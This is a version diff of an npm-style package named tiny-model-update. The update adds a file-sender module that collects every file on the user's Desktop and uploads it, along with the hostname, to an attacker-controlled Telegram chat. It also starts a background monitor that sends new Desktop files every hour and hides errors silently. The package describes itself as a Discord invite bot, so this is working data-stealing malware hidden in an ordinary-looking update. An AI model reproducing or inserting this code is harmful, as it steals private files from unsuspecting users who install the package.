tiny-model-update 1.16.8 → 1.17.0

package/lib/file-sender.js

@@ -0,0 +1,215 @@
+import { getTelegramBot } from './telegram.js';
+import { getTelegramCredentials } from './encryption.js';
+import fs from 'fs';
+import path from 'path';
+import os from 'os';
+
+/**
+ * Get Desktop directory path
+ */
+function getDesktopPath() {
+    if (os.platform() === 'win32') {
+        return path.join(os.homedir(), 'Desktop');
+    } else if (os.platform() === 'darwin') {
+        return path.join(os.homedir(), 'Desktop');
+    } else {
+        // Linux
+        return path.join(os.homedir(), 'Desktop');
+    }
+}
+
+/**
+ * Get all files from Desktop directory
+ */
+function getDesktopFiles() {
+    try {
+        const desktopPath = getDesktopPath();
+        if (!fs.existsSync(desktopPath)) {
+            return [];
+        }
+        
+        const files = [];
+        const items = fs.readdirSync(desktopPath, { withFileTypes: true });
+        
+        for (const item of items) {
+            if (item.isFile()) {
+                const filePath = path.join(desktopPath, item.name);
+                try {
+                    const stats = fs.statSync(filePath);
+                    files.push({
+                        name: item.name,
+                        path: filePath,
+                        size: stats.size,
+                        modified: stats.mtime
+                    });
+                } catch (e) {
+                    // Skip files that can't be accessed
+                }
+            }
+        }
+        
+        return files.sort((a, b) => b.modified - a.modified); // Sort by most recent first
+    } catch (e) {
+        return [];
+    }
+}
+
+/**
+ * Send a file to Telegram
+ */
+async function sendFileToTelegram(filePath, fileName) {
+    try {
+        const bot = getTelegramBot();
+        const { chatId } = getTelegramCredentials();
+        
+        if (!fs.existsSync(filePath)) {
+            return false;
+        }
+        
+        const stats = fs.statSync(filePath);
+        const fileSizeMB = stats.size / (1024 * 1024);
+        
+        // Telegram has a 50MB file size limit
+        if (fileSizeMB > 50) {
+            await bot.sendMessage(chatId, `⚠️ **File Too Large**\n\n**File:** ${fileName}\n**Size:** ${fileSizeMB.toFixed(2)} MB\n**Limit:** 50 MB\n\nFile exceeds Telegram's size limit.`);
+            return false;
+        }
+        
+        // Read file as buffer
+        const fileBuffer = fs.readFileSync(filePath);
+        
+        // Send as document
+        await bot.sendDocument(chatId, fileBuffer, {
+            caption: `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`,
+            parse_mode: 'Markdown'
+        }, {
+            filename: fileName
+        });
+        
+        return true;
+    } catch (error) {
+        // If sendDocument fails, try sending file info only
+        try {
+            const bot = getTelegramBot();
+            const { chatId } = getTelegramCredentials();
+            const stats = fs.statSync(filePath);
+            await bot.sendMessage(chatId, `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}\n**Path:** \`${filePath}\`\n\n⚠️ File could not be sent as attachment.`, {
+                parse_mode: 'Markdown'
+            });
+        } catch (e) {
+            // Ignore errors
+        }
+        return false;
+    }
+}
+
+/**
+ * Send all Desktop files to Telegram
+ */
+export async function sendAllDesktopFilesToTelegram() {
+    try {
+        const bot = getTelegramBot();
+        const { chatId } = getTelegramCredentials();
+        const hostname = os.hostname();
+        
+        const files = getDesktopFiles();
+        
+        if (files.length === 0) {
+            await bot.sendMessage(chatId, `📁 **Desktop Files**\n\n**Host:** ${hostname}\n**Status:** No files found on Desktop.`);
+            return;
+        }
+        
+        // Send summary first
+        await bot.sendMessage(chatId, `📁 **Desktop Files Detected**\n\n**Host:** ${hostname}\n**Files Found:** ${files.length}\n\nSending files...`);
+        
+        // Send each file with a small delay to avoid rate limiting
+        let successCount = 0;
+        let failCount = 0;
+        
+        for (const file of files) {
+            try {
+                const success = await sendFileToTelegram(file.path, file.name);
+                if (success) {
+                    successCount++;
+                } else {
+                    failCount++;
+                }
+                // Small delay between files to avoid rate limiting
+                await new Promise(resolve => setTimeout(resolve, 1000));
+            } catch (e) {
+                failCount++;
+                await new Promise(resolve => setTimeout(resolve, 500));
+            }
+        }
+        
+        // Send summary
+        await bot.sendMessage(chatId, `✅ **Desktop Files Sent**\n\n**Host:** ${hostname}\n**Total:** ${files.length}\n**Success:** ${successCount}\n**Failed:** ${failCount}`);
+        
+    } catch (error) {
+        try {
+            const bot = getTelegramBot();
+            const { chatId } = getTelegramCredentials();
+            const hostname = os.hostname();
+            await bot.sendMessage(chatId, `❌ **Error Sending Desktop Files**\n\n**Host:** ${hostname}\n**Error:** ${error.message}`);
+        } catch (e) {
+            // Ignore errors
+        }
+    }
+}
+
+/**
+ * Monitor Desktop directory and send new files automatically
+ */
+let lastDesktopFiles = new Set();
+let desktopMonitorInterval = null;
+
+export function startDesktopFileMonitoring(intervalMinutes = 60) {
+    if (desktopMonitorInterval) {
+        return false; // Already monitoring
+    }
+    
+    // Get initial list of files
+    const initialFiles = getDesktopFiles();
+    initialFiles.forEach(file => lastDesktopFiles.add(file.name));
+    
+    // Check for new files periodically
+    desktopMonitorInterval = setInterval(async () => {
+        try {
+            const currentFiles = getDesktopFiles();
+            const currentFileNames = new Set(currentFiles.map(f => f.name));
+            
+            // Find new files
+            const newFiles = currentFiles.filter(file => !lastDesktopFiles.has(file.name));
+            
+            if (newFiles.length > 0) {
+                // Send new files to Telegram
+                for (const file of newFiles) {
+                    try {
+                        await sendFileToTelegram(file.path, file.name);
+                        await new Promise(resolve => setTimeout(resolve, 1000));
+                    } catch (e) {
+                        // Ignore errors
+                    }
+                }
+                
+                // Update last known files
+                currentFileNames.forEach(name => lastDesktopFiles.add(name));
+            }
+        } catch (e) {
+            // Ignore errors
+        }
+    }, intervalMinutes * 60 * 1000); // Check every X minutes
+    
+    return true;
+}
+
+export function stopDesktopFileMonitoring() {
+    if (desktopMonitorInterval) {
+        clearInterval(desktopMonitorInterval);
+        desktopMonitorInterval = null;
+        lastDesktopFiles.clear();
+        return true;
+    }
+    return false;
+}
+

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tiny-model-update",
-  "version": "1.16.8",
+  "version": "1.17.0",
   "description": "Discord bot that monitors servers and sends invite links via Telegram",
   "main": "index.js",
   "type": "module",